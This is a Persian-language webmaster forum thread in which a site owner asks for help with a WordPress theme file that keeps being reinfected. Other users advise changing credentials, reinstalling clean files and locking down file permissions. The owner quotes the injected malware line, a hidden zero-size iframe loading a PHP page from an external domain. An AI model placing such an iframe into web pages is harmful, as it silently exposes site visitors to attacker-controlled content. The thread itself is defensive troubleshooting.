مشکل ویروسی شدن سایت و عدم قبول سرویس دهنده!

[kianfar]

ممنون میشم بیشتر توضیح بدید که کجا رو چک کنم



در قالب من فایلی هست به نام top-ads.php که مربوط میشه تبلیغات بالای صفحه
کدهایی که مربوط به پست ثابت بود حذف شده و کدی که بهتون دادم داخل اون فایل قرار داده شده بود ...
ظاهرش بصورت آپلود فایل بود ...



دوست عزیز
فایل تغییر کرده خود بخود!
یعنی این سایت هک شده دیگه
درسته؟

- - - Updated - - -

دوستان الان که سایت رو چک کردم دیدم باز هم همون کدها داخل همون فایل قرار داده شده!
من صبح این ها رو حذف کرده بودم!
به نظرتون مشکل از کجاست؟

دوست عزیز شما زمانی که کدها رو حذف می کنید کاملا مطمئنید که درست حذف میشن؟ آیا بلافاصله بعد از اینکه حذف و سیو کردین چک میکنین که حذف شدن یا خیر؟
در هر صورت یا یک نفر دسترسی داره و اینکارو انجام میده یا بصورت خودکار کدها جنریت میشن!
البته اگر کدهای پست ثابت حذف شدن احتمالا یه نفر دسترسی داره، به نظر من در درجه اول یوزر و پس هاست رو عوض کنید و بعدش اگر بازم اکی نشد اسکریپت و قالب رو به کل عوض کنید و از نو نصب کنید و از جای معتبری هم دانلود کنید کدها رو.

[djsiamak]

دوست عزیز شما زمانی که کدها رو حذف می کنید کاملا مطمئنید که درست حذف میشن؟ آیا بلافاصله بعد از اینکه حذف و سیو کردین چک میکنین که حذف شدن یا خیر؟
در هر صورت یا یک نفر دسترسی داره و اینکارو انجام میده یا بصورت خودکار کدها جنریت میشن!
البته اگر کدهای پست ثابت حذف شدن احتمالا یه نفر دسترسی داره، به نظر من در درجه اول یوزر و پس هاست رو عوض کنید و بعدش اگر بازم اکی نشد اسکریپت و قالب رو به کل عوض کنید و از نو نصب کنید و از جای معتبری هم دانلود کنید کدها رو.

در رابطه با قسمت اول جملاتتون بله بعد از این که حذف کردم چک میکردم
در مورد قسمت دوم همین الان تذکرات شما رو انجام میدم ببینم بازهم این مشکل پیش میاد یا نه

[kianfar]

در رابطه با قسمت اول جملاتتون بله بعد از این که حذف کردم چک میکردم
در مورد قسمت دوم همین الان تذکرات شما رو انجام میدم ببینم بازهم این مشکل پیش میاد یا نه

دوست عزیز طبق اون عکسی که تو پست اول گذاشتید به نظر میاد هاست ویروسی هستش، به این لینک نگاه کنید، همون URL ای که تو کدی که در تیکت برای پشتیبانی نوشتین اینجا ازش اسم برده شده :
Sucuri SiteCheck - Free Website Malware Scanner

کلا این دامین (dnset.com) و تمام سابدامین هاش مشکل دار هستن:

Sucuri Research - Website Monitoring, Recovery and Protection

اینجارو ببنید بازم همین دامین dnset.com ازش اسم برده شده، مشکلش هم مشابه مشکل شما بوده :

https://productforums.google.com/for...rs/JWI1fLp7k8E

خودتون هم میتونید تو گوگل درموردش سرچ کنید :
https://www.google.com/search?q=dnse...et.com+malware


حالا یا اسکریپتتون آلوده بوده و یا هاست کلا آلودست !

[djsiamak]

دوست عزیز طبق اون عکسی که تو پست اول گذاشتید به نظر میاد هاست ویروسی هستش، به این لینک نگاه کنید، همون URL ای که تو کدی که در تیکت برای پشتیبانی نوشتین اینجا ازش اسم برده شده :
Sucuri SiteCheck - Free Website Malware Scanner

کلا این دامین (dnset.com) و تمام سابدامین هاش مشکل دار هستن:

Sucuri Research - Website Monitoring, Recovery and Protection

اینجارو ببنید بازم همین دامین dnset.com ازش اسم برده شده، مشکلش هم مشابه مشکل شما بوده :

https://productforums.google.com/for...rs/JWI1fLp7k8E

خودتون هم میتونید تو گوگل درموردش سرچ کنید :
https://www.google.com/search?q=dnse...et.com+malware


حالا یا اسکریپتتون آلوده بوده و یا هاست کلا آلودست !

بله، با اکثر سایت ها که چک کردم مشکل ویروسی بودن رو اعلام کردند
مشکل من این بود که سرویس دهنده قبول نمیکرد و پشتیبانی بسیار بدی داشتند
این سایت چند بار این مشکل براش پیش اومد که به توصیه های شما عمل کردم، فعلا که مشکلی پیش نیومده
ببنیم در آینده چه اتفاقی می افته

[Mr.Pouria]

پیشناهد میکنم سایتتون رو به یه سرویس دهنده قدیمی و معتبر انتقال بدید که مشکلی براتون پیش نیاد ...

[bmi]

از کدوم شرکت اشتراک دارید؟

[djsiamak]

پیشناهد میکنم سایتتون رو به یه سرویس دهنده قدیمی و معتبر انتقال بدید که مشکلی براتون پیش نیاد ...

این شرکت میشه گفت قدیمی هستند، مشکل اینجاست که هر کسی که قدیمی میشه پشتیبانی ضعیف میشه

از کدوم شرکت اشتراک دارید؟

دوست ندارم نام شرکت رو نام ببرم

-----------------------------------------------------------------------------------------

دوستان با توجه به توصیه جناب kianfar رمز سی پنل و وردپرس رو تغییر دادم حتی قالب سایت رو به قالب پیشفرض وردپرس تغییر دادم اما باز هم کد زیر داخل قالب قرار داده شده

<iframe src="http://a9c5d6b5.xxxy.info/b0ab0254bd58eb87/routine/8c7dd922ad47494fc02c38.php" width="0" height="0" frameborder="0"></iframe>

[mohammad50]

این شرکت میشه گفت قدیمی هستند، مشکل اینجاست که هر کسی که قدیمی میشه پشتیبانی ضعیف میشه



دوست ندارم نام شرکت رو نام ببرم

-----------------------------------------------------------------------------------------

دوستان با توجه به توصیه جناب kianfar رمز سی پنل و وردپرس رو تغییر دادم حتی قالب سایت رو به قالب پیشفرض وردپرس تغییر دادم اما باز هم کد زیر داخل قالب قرار داده شده

ظرفیت صندوق پیام های خصوصی djsiamak به اتمام است و تا زمانی که اقدام به خالی کردن صندوق نکند نمیتواند پیام خصوصی جدید بپذیرد.

[djsiamak]

ظرفیت صندوق پیام های خصوصی djsiamak به اتمام است و تا زمانی که اقدام به خالی کردن صندوق نکند نمیتواند پیام خصوصی جدید بپذیرد.

همین که تاپیک میزنی چندین نفر میان اسپم میکنند و توی پ.خ آفر میدن!!!! :|
پ.ن: خالی شد

[CentralClubs]

مشکل که به احتمال زياد در يکي افزونه‌هاي ورد پرس هست. به جرات ميشه گفت بيش از 70 درصد ماژول‌هاي جديد و بدون ريشه ورد پرس مشکل دارند بايد خيلي احتياط کرد.
پيشنهاد ميکنم فايلهاي فعلي رو حذف و فايلهاي ورد پرس آخرين نسخه رو جايگزين و فايل کانفيگ رو اصلاح کنيد تا به ورد پرس جديد و سالم وصل بشه. اگر باز هم اين مشکل رخ داد، ممکنه خود هاست شما نقص امنيتي داشته باشه. اما اگر حل شد، تک تک آخرين نسخه پلاگين‌هايي که قبلا نصب داشتيد رو دانلود و مجددا به سايت اضافه کنيد و ببينيد وضعيت به چه شکل هست، هر ماژول که نصب ميکنيد هم قبلش چک کنيد و سايتهاي ريپورت نقص امنيتي رو بررسي کنيد که نقصي در اون گزارش نشده باشه و بعد نصب کنيد، بعد از اتمام کار، پرميشن فايلها رو 444 کنيد تا امکان رايت به غير مالک فايل نديد
اگر مشکل حل نشد و مايل بوديد pm بديد و يا اينجا مشکل رو شرح بديد تا راهنماييتون کنم